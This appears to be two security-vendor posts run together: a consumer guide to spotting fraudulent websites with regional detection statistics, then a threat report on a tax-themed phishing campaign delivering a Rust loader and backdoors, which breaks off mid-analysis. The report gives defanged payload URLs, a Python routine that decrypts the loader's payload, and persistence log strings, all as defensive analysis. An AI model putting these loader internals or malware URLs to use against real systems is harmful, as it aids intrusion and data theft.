Visiting or buying from untrusted suspicious websites can expose you to various risks that go beyond a single bad purchase. Fraudulent websites often collect your personal information even if you do not end up making a purchase. By completing a form or signing up for a “free offer”, you may be providing the scammer with access to your information.
Personal data collection can happen in a fairly straightforward and obvious way — for instance, through a standard order delivery form. In this scenario, attackers end up with sensitive information like the user’s full name, shipping and billing addresses, phone number, email address, and, of course, payment details. As we’ve previously discussed, fraudsters sell this kind of information, and there’re countless ways it can be used down the line. For example, this data might be leveraged for spam campaigns or more serious threats like stalking or targeted attacks.
Common types of suspicious sites
Let’s take a closer look at the different types of shady sites out there and how interacting with them can lead to financial loss, data leaks, the unauthorized use of personal information, and other consequences.
It’s worth noting that rogue websites can masquerade as legitimate ones in almost any industry. The first type of fraudulent site we’ll look at is fake online stores. These can appear as clones of real brand websites or as standalone stores. Usually, the scam follows one of two paths: the buyer either receives a counterfeit or poor-quality product, or they receive nothing at all. These sites lure victims in with suspiciously low prices and “exclusive” deals. Often, users are subjected to psychological pressure: the time to make a purchase decision is purposefully limited, provoking the victim, as with any other scam, into making an impulse purchase.
Another common type of shady site includes online exchanges and trading platforms. These primarily target cryptocurrency, as the lack of legislative regulation for digital currency in certain countries makes them a magnet for fraudsters. These suspicious sites often lure victims with supposedly favorable exchange rates or other enticing gimmicks. If the user attempts to exchange cryptocurrency, their tokens are gone for good. Beyond simple exchanges, rogue sites offer investment services and even display a fake balance growth to appear credible. However, withdrawing funds is impossible; when the victim tries to cash out, they’re prompted to pay some fee or fictional tax.
Subscription traps are also worth noting, offering everything from psychological tests to online video streaming platforms. The hallmark of these sites is that they deliberately withhold critical information, such as recurring charges, or hide the fact it even exists. Typically, the scheme works like this: a user is offered a subscription for a nominal fee, like $1. While that seems attractive, the next charge – perhaps only a week later – might be as much as $50. This information is intentionally obscured, buried in fine print or tucked away in the Terms of Service where it’s harder to find. Legitimate services always clearly disclose subscription terms and provide an easy way to cancel before a trial period ends. Scam services, on the other hand, do everything possible to distract the user from the actual terms of use and subscription.
Shady sites can also masquerade as providers of mediation services, such as legal or real estate assistance. In reality, the service is either never delivered or provided in a stripped-down, incomplete form. For example, a user might be prompted to pay for a service that’s normally provided for free. The danger here lies not only in losing money for non-existent services but also in the significant risk of exposing personal data, such as ID details, taxpayer identification numbers, social security numbers, or driver’s license information. Once in the hands of attackers, this data can become a tool for executing further scams or targeted attacks.
On the whole, suspicious sites are fairly difficult to distinguish from legitimate, trustworthy services. Masquerading as a legitimate business is the primary goal of these sites, and the fraudulent schemes they employ are not always obvious. Nevertheless, there are protective measures as well as certain indicators that can help you suspect a site is unsafe for purchases or financial transactions.
How to identify suspicious or fraudulent websites
Despite the increasingly convincing attempts to create fake shops, the majority of them still lack the quality of real online stores, and there are many signs that may give them away. Some of these signs can be caught by the eye while others require a bit of technical investigation. By combining visual inspection, technical checks, and trusted online tools, you can protect yourself from financial loss or data theft.
Visual and manual clues
You don’t need to be a cybersecurity expert to catch many red flags just by observing the site’s domain, visuals, language and behavior. For instance, scam sites often have strange or randomly generated names, filled with numbers, underscores, hyphens, or meaningless words, like best-shop43.com. In addition, such vague top-level domains as .xyz, .top, or .shop are also frequently used in scams because they’re cheap and easy to register.
Furthermore, most fake stores sites look unprofessional, with poor visuals, pixelated images, mismatched fonts, or copied templates. Many fraudulent websites borrow layouts or logos from other brands or free templates, which makes them appear generic and sketchy.
Another major giveaway lies in the content itself. Be aware of persuasive language, unrealistic promises, or emotional triggers such as No KYC, Risk-free returns, 100% guaranteed income, Up to 300% profit, or Passive income with zero effort. Unrealistic deals are another red flag. If the products are listed at extremely low prices, continuous countdown timers, and “limited time only” messages that are often used to pressure you into making a quick purchase, it’s a clear tell of a fraudulent website.
Legitimate businesses always provide verifiable contact details, such as a physical address, company name, and customer support. On the contrary, scam sites hide this information. You may also notice the non-functioning pages, broken or suspicious links leading to unrelated external sites which indicate poor maintenance or malicious intent.
Another important signal is the website’s social media presence. Legitimate online businesses usually maintain at least one active social media account to promote their products and communicate with customers. In most cases, these businesses have long-established social media accounts with harmonized posting history and engagement from real users, consistency between the brand website and social media profiles (same name, logo, and links). The links to social media profiles from the website are usually direct. In contrast, fraudulent or deceptive websites often lack any meaningful social media presence or display signs of superficial or artificial activity. This may include missing social media accounts altogether, social media icons that lead to non-existent, inactive, or unrelated pages, or recently created profiles with very few posts and minimal user engagement. In some cases, comment sections are disabled or dominated by spam and automated content, suggesting an attempt to avoid public interaction rather than engage with customers.
Lastly, the payment options offered by the site can also tell a lot about its legitimacy. Be extremely cautious if a website only accepts cryptocurrency, wire transfers, or third-party P2P payments. These payment methods are irreversible and are preferred by scammers. Legitimate e-commerce platforms typically offer secure and reversible payment options, such as credit cards or trusted payment gateways that include buyer protection policies.
However, the absence or existence of any of these factors alone does not necessarily indicate malicious intent. It should be evaluated in combination with technical, linguistic, and behavioral indicators, rather than treated as a standalone signal of legitimacy.
Technical indicators to check
Looking into technical signs can reveal whether a website is trustworthy or potentially fraudulent.
One of the first things to check is the domain age. Scam websites are often short-lived, appearing only for a few weeks or months before disappearing once users start reporting them. To check when the domain was created, use a WHOIS lookup. If it’s less than six months old, be cautious — especially for e-commerce or investment sites, where legitimacy and trust take time to build.
Let’s take a look at the registration details for the popular online marketplace Amazon. As we can see from the WHOIS information, it was registered in 1994.
Meanwhile, a reported suspicious online store was created a couple of months ago.
Legitimate websites usually operate on stable hosting platforms and remain on the same IP addresses or networks for long periods. In contrast, fraudulent websites often move between servers (in most cases using a cheap shared hosting service) or reuse infrastructure already associated with abuse. Checking the IP address reputation can reveal if the website or the hosting server has previously been linked to suspicious activities. Even if the website looks legitimate, a poor IP reputation can expose it.
In addition to that, looking at the infrastructure behavior over time can reveal patterns about its legitimacy. Websites associated with fraudulent activity often show short lifespans, sudden spikes in activity, or rapid appearance and disappearance, which indicates a coordinated campaign rather than a legitimate business.
Another important clue is hidden ownership. When the WHOIS details show “Redacted for Privacy” or leaves the organization name blank, it may indicate that the website owner is deliberately hiding their identity.
We should point out that while this can raise suspicion during investigations, hidden WHOIS data is not inherently malicious. Many legitimate businesses use privacy protection services for valid reasons. These may include protection from spam and phishing after public email addresses are taken from WHOIS databases, personal safety for small business owners, and brand protection to prevent competitors or malicious actors from targeting the registrant. This means that some businesses can use services like WHOIS Privacy Protection, Domains By Proxy, or PrivacyGuardian.org to remove the WHOIS data while still operating transparently on their websites through clear contact details, customer support channels, and legal pages (e.g. terms of use).
Therefore, hidden ownership should be treated as a contextual risk indicator, not a standalone proof of fraud. It becomes more suspicious when combined with other signals such as newly registered domains, and lack of legal information.
Next, you can check the security headers of the website. Legitimate websites are usually well maintained and include several key HTTP headers for protection. Some examples include:
Content-Security-Policy (CSP) provides strong defense against cross-site scripting (XSS) attacks by defining which scripts are allowed to run on the site and blocking any malicious JavaScript that could steal login data or inject fake forms.
HTTP Strict-Transport-Security (HSTS) forces browsers to connect to the site only over HTTPS. It ensures all communication is encrypted and prevents redirecting users to an insecure (HTTP) version of the site.
X-Frame-Options prevents clickjacking, which is a type of attack where a legitimate-looking button or link on a malicious page secretly performs another action in the background.
X-Content-Type-Options blocks MIME-type attacks by preventing browsers from misinterpreting file types.
Referrer-Policy controls how much information about your previous browsing (referrer URLs) is shared with other sites.
These headers form the “digital hygiene” of a website. Their absence doesn’t always mean a site is malicious, but it does suggest a lack of security awareness or professional maintenance — both strong reasons to be cautious.
You should also check the SSL certificate. Scam sites may use self-signed or short-lived SSL certificates. You can inspect this by clicking the padlock icon in your browser’s address bar — if it says “not secure” or the certificate authority seems unfamiliar, that’s a red flag.
You can check the security headers and the SSL certificate by sending an HTTP request programmatically or by using some online service.
Another indicator that provides insight into how well a website is done and managed is DNS configurations. Legitimate businesses typically use reliable DNS providers and maintain consistent DNS records. Missing the name server NS or mail exchange MX records may indicate poor DNS configuration. In addition to NS and MX, reputable sites also configure SPF and DMARC records to protect their brand from email spoofing and phishing. Something scam website developers won’t bother with because they don’t intend to build a long-standing reputation.
You can check the configurations of DNS records either programmatically or by using an online service.
Another recommendation is to pay attention to website behavior. If there are frequent redirects, pop-up ads, or background requests to unknown domains, this may indicate unsafe scripting or tracking.
How to protect yourself
Tools and databases for detecting suspicious websites
We at Kaspersky have built an intelligent system for detecting suspicious web resources and added this new type of protection into many of our products, including Kaspersky Premium, Kaspersky for Android and iOS, and others. Our detection model is based on many factors, including but not limited to the following:
domain name and age,
IP reputation,
stability of the infrastructure used,
DNS configurations,
HTTP security headers,
digital identity and popularity of the web resource.
When a user tries to visit a site flagged as having an undefined trust level, our solutions show a warning to stop the visitor from becoming a victim of personal data leaks, financial losses or a bad purchase:
This component is on by default.
Moreover, there are several online tools and databases that can help assess a website’s legitimacy:
ScamAdviser analyzes trust based on WHOIS, server location, and web reputation.
APIVoid provides risk scoring using DNS, IP, and domain reputation databases.
National government databases often maintain official lists of fraudulent or blacklisted domains.
Preventive measures
To protect yourself from such threats, it might a good idea to take some additional preventive measures. Always double-check the URL and domain name, especially when you are about to click a link or make a payment. Make sure the site uses HTTPS and has a trusted certificate.
You can use standard browser tools to verify site security. For example, in Google Chrome, clicking the site information button (the lock or settings icon in the address bar) displays details about the connection security and the site’s certificate.
In the Security section, you can check whether the site supports HTTPS – it should say “Connection is secure” – and view the site’s digital certificate.
Additionally, keep reliable security software with real-time protection running on your device to stop you from accessing dangerous websites. Do not download any files or enter your personal information on websites that look unprofessional or suspicious. And finally, remember the golden rule: if a deal seems too good to be true, it often is.
If you realize that you’re on a scam website, it’s important to perform certain post-incident actions immediately. First, contact your bank or payment provider as soon as possible to block the transaction or card. Then, change your passwords for the services which might have been compromised, and run a full antivirus scan on your device to detect and remove any potential threats. Lastly, consider reporting the website to the cybercrime agency in your country or to the consumer protection agency. Sharing your experience online by leaving a review or warning will give notice to potential customers alike.
By staying careful and taking quick actions, you can significantly reduce the chances of being a target and help make the internet a safer place for everyone.
An overview of detection statistics for sites with an undefined trust level
To illustrate the types of suspicious sites prevalent in various regions around the world, we analyzed anonymized detection data from Kaspersky solutions for the “websites with an undefined trust level” category in January 2026. For each region, we identified the 10 most frequently encountered sites and calculated the share of each within that list. To maintain privacy, specific domains are not listed directly; instead, they’re described based on their functionality and characteristics.
Most visited suspicious sites
First, let’s examine the sites that appear across multiple regions, indicating a high prevalence.
In 9 out of the 10 regions analyzed, we encountered a suspicious image processing platform (*a*o*.com). This site positions itself as a photo editing tool, but in reality, it serves as an intermediary server for uploading images used in phishing and other campaigns. By interacting with such a site, users risk exposing personal data under the guise of uploading images or falling victim to a phishing attack.
Percentage of the *a*o*.com domain detections by region, January 2026 (download)
This site has the largest share of detections in the Russian Federation, where it ranks first in the TOP 10 with a 40.80% share. It is also prevalent in Latin American countries (21.70%) and the CIS (14.64%), while it’s least common in Canada at 0.24%.
The next site appeared in 7 regions. It consists of a landing page for a fake antivirus solution presented as a browser extension (*n*s*.com). This extension redirects the user to a fake search engine page allowing it to collect data and track user activity, specifically search queries.
Percentage of the *n*s*.com domain detections by region, January 2026 (download)
This site is most frequently detected in South Asia, with a share of 33.31%. Its presence in Canada and Oceania is roughly equal (15.47% and 15.09%, respectively). We recorded the lowest number of detections in Africa, at 2.99%.
Another suspicious browser extension appeared in the TOP 10 in 6 out of the 10 regions. It’s a fake privacy-enhancing tool hosted at *w*a*.com. Instead of providing the advertised privacy features, this extension carries a high risk of intercepting browser data. It can modify browser settings, harvest user data, and swap the default search engine for a fake one. Furthermore, it maintains full control over all browser traffic.
Percentage of the *w*a*.com domain detections by region, January 2026 (download)
This “service” has its largest share, 22.25%, in the Middle East and North Africa, and is also quite common in Canada (16.26%). It’s least frequently encountered in Latin America (5.38%) and East Asia (4.02%).
The site *o*r*.com appeared in five regional rankings. It’s a fake security service promising to provide online safety by warning users about malicious sites and dangerous search queries. This extension has the potential to steal cookies (including session cookies), inject advertisements, spoof login forms, and harvest browser history and search queries. We noted that this site made the TOP 10 in Africa (0.59%), the MENA (Middle East and North Africa) region (4.57%), Europe (5.61%), Canada (7.21%), and Oceania (1.93%).
In 4 out of the 10 regions, we identified several other recurring sites. One of them (*n*p*.xyz) mimics a repository for creative AI image generation prompts while capturing browser data. The domain hosting this site exhibits several red flags: it was recently registered, and the owner’s information is hidden. This site reached the TOP 10 in Africa (0.51%), the MENA region (7.04%), Latin America (22.54%, ranking first in that region), and South Asia (5.91%).
The second service (*i*s*.com) positions itself as a tool for safe searching, protecting the browser from threats, and verifying extensions. However, this is a typical browser hijacker, much like the others mentioned above. It made the TOP 10 in South Asia (8.03%), Oceania (17.97%), Europe (3.90%), and Canada (14.35%).
The third site (*h*t*.com) poses as a private browsing extension. In reality, it’s another potentially unwanted application designed for browser hijacking: it modifies settings, steals sensitive data (cookies, browser history, and queries), and can redirect the user to phishing pages. Users have specifically noted the difficulty involved in removing the extension. This site appears in the TOP 10 for the MENA region (10.17%), Canada (7.06%), Europe (3.81%), and Oceania (2.81%).
Another domain (*o*t*.com) that reached the TOP 10 in four regions is a service mimicking a browser extension for safe searching and web browsing. It’s dangerous because it injects ads and steals user data. It’s important to note that such extensions can be installed without explicit user consent – for example, via links embedded in other software. This service holds the number one spot in two regions: Canada (25.72%) and Oceania (30.92%), while also appearing in the TOP 10 for East Asia (8.01%) and Africa (0.88%).
Consequently, we can see that the majority of suspicious sites detected by our solutions worldwide are browser hijackers masquerading as security products. Nevertheless, other categories of sites also appear in the TOP 10.
Next, we’ll examine each region individually, focusing on descriptions of domains not previously covered. For clarity, the sites mentioned above will be marked as [MULTI-REGION], while those appearing in only two or three regions will include the names of those specific areas. We’ll observe several regional overlaps and similarities, allowing us to determine which types of suspicious sites are popular both within specific regions and globally.
Africa
Distribution of the TOP 10 suspicious websites in Africa, January 2026 (download)
The three most prevalent domains in African countries are found exclusively in this region. All of them – *i*r*.world (60.27%), *m*a*.com (22.84%), and *e*p*.com (9.36%) – are potentially fraudulent online trading platforms suspected of using forged licenses. These sites employ classic scam schemes where it’s impossible to withdraw any alleged earnings. In fifth place is a domain we’ll also see in the European TOP 10, *r*e*.com (1.46%): a platform marketed as a tool for retail and semi-professional traders. It charges for services available elsewhere for free. Eighth place is held by a site that also appears in the Russian TOP 10: *a*c*.com (0.56%). This is a dubious AI tool that claims to offer free subscriptions to a premium graphics editor. In ninth place is a domain that also surfaces in the Canadian TOP 10: *u*e*.com (0.53%), a browser extension of the “web protection” variety that we’ve encountered previously.
In summary, the African region is dominated by financial scams within the online trading and brokerage sectors. These include fake platforms that make it impossible to withdraw funds and use fake licenses and classic schemes to steal users’ money. Additionally, Africa sees paid tools that duplicate free services and questionable AI-based subscriptions. The primary threat in this region is financial loss through fraudulent investment-themed sites.
MENA
Distribution of the TOP 10 suspicious websites in the Middle East and North Africa, January 2026 (download)
In the MENA region, the site *a*v*.su holds the top spot with a 28.64% share; notably, this site also appears in the TOP 10 for Russia. It markets itself as a tool for building custom VoIP-PBX systems. However, it has an extremely low trust rating and is frequently associated with phishing, and hidden redirects. Using this service carries significant risks, including data leaks, and financial loss.
Ranked seventh is *a*r*.foundation (6.32%), an AI bot allegedly designed for trading, which we also identified in the TOP 10 for Oceania. This service has been flagged as an investment scam operating as a pyramid scheme with the hallmarks of a Ponzi scheme.
The ranking is rounded out by two domains not found in any other region. The first one, *l*e*.pro (4.42%), is a spoof of a popular betting service. The second, *p*r*.group (2.21%), is a clone of a well-known broker. Both sites are scams.
In the MENA region, the landscape is dominated by fake VoIP services as well as counterfeits of financial and betting platforms, which attackers use to conduct phishing attacks, and perform hidden redirects. A significant portion of suspicious sites consists of fake online privacy tools and browser hijackers masquerading as security extensions. Ponzi schemes and cryptocurrency scams are also prominent. The primary risks for the region are data theft, and financial loss.
Latin America
Distribution of the TOP 10 suspicious websites in Latin America, January 2026 (download)
In Latin America, we identified five popular suspicious sites specific to this region, which is unusual compared to other areas where more overlaps are typically observed. Ranking third with a share of 10.81% is the fake betting platform *b*e*.net. In fifth place is *r*e*.club, an illegitimate clone of a well-known bookmaker, with a share of 7.82%.
Further down the list of local threats are *a*a*.com.br (7.02%), a Brazilian Ponzi scam; *s*a*.com (5.07%), which offers dubious investment programs; and *t*r*.com (4.53%), a potentially dangerous trading platform.
In Latin America, the most-visited suspicious sites are betting-themed scams, including both clones of legitimate sites and those built from scratch. Also prevalent are Ponzi schemes, fake investment programs, and dubious online brokers. A significant portion of these sites consists of browser hijackers posing as crypto platforms and AI bots. The primary threats in Latin American countries include financial loss through gambling and Ponzi schemes, as well as the theft of NFTs and other tokens.
East Asia
Distribution of the TOP 10 suspicious websites in East Asia, January 2026 (download)
In the East Asian TOP 10, we see the highest concentration of domains that are absent from other regional rankings.
In first place, with an 18.77% share, is the fake broker *r*x*.com, which can be used to steal personal data or funds. Second place is held by a crypto-gaming site (16.44%) that we previously encountered in the Latin American TOP 10. Visitors to this site risk losing NFTs and other tokens. In third place is the domain *u*h*.net (11.61%), used for redirects, which can hijack sessions. Following this is *s*m*.com (9.98%), a domain typically used as a browser-hijacking server and for phishing attacks, serving as a link in an infection chain.
Rounding out the local threats in East Asia are the following domains: *e*v*.com (9.37%), utilized in drive-by attacks; *a*k*.com (9.16%), an API-like domain associated with suspicious scripts and extensions; and *b*l*.com (4.38%), a domain potentially used for redirects.
East Asia has a high concentration of region-specific fake brokers, crypto gaming platforms, and NFT marketplaces. The primary threats for this region include the loss of financial data, NFTs, and other tokens, as well as session hijacking.
South Asia
Distribution of the TOP 10 suspicious websites in South Asia, January 2026 (download)
In South Asian countries, we also observe a concentration of local suspicious sites specific to the region.
The second most popular site in the region is *a*s*.com (12.01%), a poor-reputation, high-risk microloan service typical of South Asia. By interacting with these sites, users risk not only losing significant funds but also compromising their overall security. Following this are *v*n*.com with a 9.47% share and *l*f*.com with 8.65%. These domains are employed in various fraudulent schemes, ranging from phishing to spam.
The TOP 10 also includes *s*o*.com (4.80%), a free video downloading service associated with a high risk of infection. The final site we analyzed in the South Asia region is *c*o*.site (1.89%), a pseudo-tool for local SEO optimization that carries the danger of data loss and a high risk of financial fraud through subscription sign-ups.
In summary, the region is dominated by fake antivirus extensions, microloan services, dubious video downloaders, and counterfeit SEO tools. The primary risks for South Asia include financial fraud, phishing and spam distribution, and data theft.
CIS
When analyzing statistics for suspicious sites in CIS countries, we treat Russia as a separate region due to the unique characteristics of its online space which are not found in any other CIS member states. However, we’ve placed these two regions in the same section, as we’ve observed overlaps between them that are not seen in other parts of the world.
Distribution of the TOP 10 suspicious websites in the CIS, January 2026 (download)
The top two sites in the CIS TOP 10 also appear in the Russian TOP 10. The domain *r*a*.bar, which ranks first in the CIS (39.50%), holds the second spot in Russia (15.93%) and is a fake trading site. It’s worth noting that sites in the .bar domain zone are frequently used for scams. In second place in the CIS (15.29%) and sixth in Russia (3.75%) is the domain *p*o*.ru, which is often associated with bots for inflating follower counts and automating community management.
Domains from fourth to eighth place are specific only to the CIS region and don’t appear in the Russian TOP 10. These sites include:
*a*e*.online (8.42%): an online image editor that carries risks of data harvesting
*n*a*.io (6.51%): a high-risk cryptocurrency trading platform
*e*r*.com (3.72%): a site promising free cryptocurrency and posing the risk of compromising visitors’ private keys and digital wallets
*s*o*.ltd (3.70%): a domain with an extremely low trust rating
*s*.gg (3.49%): a scam site masquerading as a play-to-earn blockchain game
The ranking concludes with sites that overlap with the Russian region. *a*.consulting (2.42%) is a fake clone of a binary options site, and *a*.lol (2.32%) is a domain suspected of dubious activity.
The CIS landscape is dominated by fake trading platforms (particularly crypto exchanges), promises of easy profits, play-to-earn scams, and dubious investment projects. We also observe many bots for inflating social metrics and automation. The primary threat in the CIS is the theft of private keys, digital wallets, and funds through investment schemes and lures involving online promotion.
Distribution of the TOP 10 suspicious websites in Russia, January 2026 (download)
The Russian TOP 10 includes three unique domains not found in the rankings of other regions. The first, *n*m*.top (7.84%), is an imitator of a well-known binary options broker. This suspicious site was recently registered and has a tellingly low rating on domain verification services. The second, *t*e*.ru (3.25%), claims to be an educational platform and has a dubious subscription system with a high probability of fraud involving difficulties in canceling subscriptions. The third site, *e*e*.org (3.14%), positions itself as a tool for a popular media platform, but it’s actually a scam that fails to provide its stated services.
Overall, the Russian landscape is characterized by fake binary options brokers and sketchy sites with fraudulent subscriptions posing as e-learning platforms. There are also frequent instances of sites spoofing well-known legitimate services. The primary risks in Russia are scams related to the knowledge business sector, as well as the theft of money and personal data.
Europe
Distribution of the TOP 10 suspicious websites in Europe, January 2026 (download)
In the European region, we’ve found two unique domains. The first of these, *c*r*.org, has been identified as part of a chain for massive phishing and spam attacks. It accounts for a 16.08% share of the TOP 10. The second site, *o*n*.de, is an unofficial reseller with a poor reputation and a high likelihood of fraud. This domain ranks second to last in our statistics with a 5.95% share.
Among the sites not previously covered, the European TOP 10 includes one site that also appears in the Oceania TOP 10: *o*i*.com (6.61%). This is a classic cryptocurrency scam promising passive income.
A significant portion of suspicious sites in Europe consists of intermediary sites for phishing and spam, fake security extensions, and crypto scams. Unofficial sales services and paid trading tools are also on the list. The primary threats in the European region include session hijacking, data theft, spam, and investment fraud.
Canada
Distribution of the TOP 10 suspicious websites in Canada, January 2026 (download)
Canada has been designated as a separate region to illustrate prevailing trends within North America. The first four positions in the Canadian TOP 10 are held by multiregional domains discussed previously. In fifth place is *t*c*.com (10.88%), which also appears in the TOP 10 rankings for Oceania and South Asia. This is yet another browser extension masquerading as a security solution. Occupying the final spot is the domain *e*w*.com (0.17%), which is unique to the Canadian market. This site operates a dropshipping scam, offering products at prices significantly below market value. Customers typically either never receive their orders or get low-quality counterfeits.
The landscape of dubious websites in Canada is largely defined by fraudulent extensions capable of hijacking browser data, tracking user activity, spoofing search queries, harvesting cookies, and injecting ads. This is further compounded by dropshipping schemes involving counterfeit goods. The primary risks for users in Canada include data theft and financial loss from purchasing substandard products.
Oceania
Distribution of the TOP 10 suspicious websites in Oceania, January 2026 (download)
The final region under consideration is Oceania. Notably, we didn’t identify a single domain unique to this region. Every site appearing in the TOP 10 represents a global threat that’s already been detailed in previous sections. To summarize the findings for this region: the primary threats consist of fake security extensions and privacy products designed for browser hijacking, tracking user activity, displaying advertisements, and stealing data. There’s a minimal presence of crypto Ponzi schemes in this area. The main risk for users in Oceania is the loss of privacy and confidentiality through unwanted apps.
Conclusion
Suspicious websites are particularly dangerous because they often masquerade as legitimate sites with high levels of persuasiveness. They mimic online stores, subscription-based streaming platforms, repair firms, and various other services. Unlike standard phishing sites, they employ more sophisticated manipulations to deceive users, tricking them into voluntarily handing over their personal data and transferring funds.
By examining the TOP 10 suspicious sites across the world’s major regions, we can draw several conclusions. On average, the most prevalent threats globally are fraudulent extensions masquerading as security solutions and privacy services. Their true purpose is to hijack browser data, track user activity, and display ads. We also frequently encounter phishing platforms for image processing and financial scams involving trading, cryptocurrency, betting, and microloans. Our statistics demonstrate that these sites not only employ classic fraudulent schemes centered on easy money but also adapt to contemporary trends targeting younger audiences and specific regional characteristics. The primary risks for users interacting with these sites are a combination of privacy threats and financial loss.
To help protect users from these shady sites, we’ve introduced the category of “websites with an undefined trust level” as part of the web filtering features in our solutions. However, it’s important to note that user awareness and individual responsibility play a significant role in ensuring safe web browsing. It’s essential for users to be able to recognize suspicious sites and remain vigilant toward any that appear untrustworthy.
In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.
Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.
During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.
Email campaign
In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.
Phishing email sent to victims in Russia
The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.
Contents of the PDF file from the January phishing wave
Contents of the фнс.zip archive
In the December campaign, the malicious code was embedded directly within the files attached to the email.
Phishing email sent to victims in India
The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).
Contents of ITD.-.rar
Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).
PDF file from the phishing email
Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.
RustSL loader
The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:
Screenshot of the description from the RustSL loader GitHub project
The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:
Eight payload encryption methods
Thirteen memory allocation methods
Twelve sandbox and virtual machine detection techniques
Thirteen payload execution methods
Five payload encoding methods
Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.
The Silver Fox APT group first began using a modified version of RustSL in late December 2025.
Silver Fox RustSL
This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.
The steganography.rs module
The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.
The usage of the new module within the Silver Fox RustSL code
The threat actors also modified the RustSL builder to support the new format and payload packing.
The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.
Encrypted malicious payload format
The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:
<RSL_START>rsl_encrypted_payload<RSL_END>
If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.
The rsl_encrypted_payload followed this specific format:
Below is a description of the data blocks contained within it:
sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
enc_payload_len: the size of the encrypted payload
sgn_iterations and sgn_key: parameters used for decryption
sgn_decoder_size and decoder: unused fields
enc_payload: the primary payload
Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.
To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:
def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
buf = bytearray(data)
xor_key = sgn_key & 0xFF
for _ in range(sgn_iterations):
k = xor_key
for i in range(len(buf)):
dec = buf[i] ^ k
if k & 1:
k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
else:
k = (dec ^ (k >> 1)) & 0xFF
buf[i] = dec
return bytes(buf)
The unpacking process consists of the following stages:
Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
Original file containing the encrypted malicious payload
XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
Encrypted malicious payload prior to the final decryption stage
Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).
The guard.rs module
Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.
In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.
The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.
To determine the host country, Silver Fox RustSL sends requests to five public services:
ip-api.com (the GitHub version relies solely on this service)
ipwho.is
ipinfo.io
ipapi.co
www.geoplugin.net
Phantom Persistence
We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:
[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp] Phantom Persistence Module (Hijack Mode)
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
